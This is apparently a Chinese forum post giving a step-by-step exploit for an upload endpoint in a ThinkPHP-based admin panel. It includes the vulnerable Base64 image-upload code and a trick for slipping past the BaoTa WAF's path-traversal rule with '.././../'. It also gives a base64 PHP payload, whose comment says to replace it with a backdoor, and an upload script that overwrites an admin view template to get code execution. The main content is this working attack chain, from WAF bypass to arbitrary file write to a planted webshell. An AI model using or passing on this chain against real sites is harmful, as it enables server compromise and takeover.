为了能快速了解并处理您的问题,请提供以下基础信息: 8.0.5
Ubuntu20
绕过宝塔限制宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
漏洞代码:
- /** * Base64 图片上传 */ public function image() { try { $data = $this->_vali(['base64.require' => '图片内容不为空!']);$data=null; if (preg_match('|^data:image/(.*?);base64,|i', $data['base64'])) { [$ext, $img] = explode('|||', preg_replace('|^data:image/(.*?);base64,|i', '$1|||', $data['base64'])); $info = Storage::instance()->set(Storage::name($img, $ext ?: 'png', 'image/'), base64_decode($img)); $this->success('图片上传成功!', ['url' => $info['url']]); } else { $this->error('解析内容失败!'); } } catch (HttpResponseException $exception) { throw $exception; } catch (\Exception $exception) { $this->error($exception->getMessage()); } }
复制代码 代码分析:
问题:
- 不能上传php文件,因为服务器有宝塔waf会被拦截
复制代码 解决思路
- 使用过Thinkphp的都知道,TP框架的View层是使用html模板引擎实现的。
- 所以我们可以上传一个html文件,然后在html文件中写入php代码,这样就可以绕过宝塔waf了。
- 但是上传后的文件名是随机的,我们无法知道上传后的文件名,但是文件后缀是可控的,后缀可以使用目录穿越漏洞,所以我们需要使用目录穿越漏洞来实现解析我们上传的html模板文件
- 但是宝塔会限制目录穿越,所以我们需要绕过宝塔的限制
复制代码 绕过宝塔限制
- 宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
复制代码 将以下代码编码成base64: PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg==
- <?php /** * [@456](123) */ #替换成恶意后门代码 phpinfo(); ?>
复制代码 开始上传文件
- <?php
- //大概逻辑如下
- //文件上传地址
- $url="http://127.0.0.1/upload/image.html"
- //上传的数据,这里的文件后缀进行了目录穿越
- $data['base64']="data:image/a/.././.././.././.././../app/admin/view/index/index.html;base64,PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg=="
- post($url,$data)
- ?>
复制代码 上传成功后,访问 http://127.0.0.1/admin/index/index.html 即可看到phpinfo的输出
|
|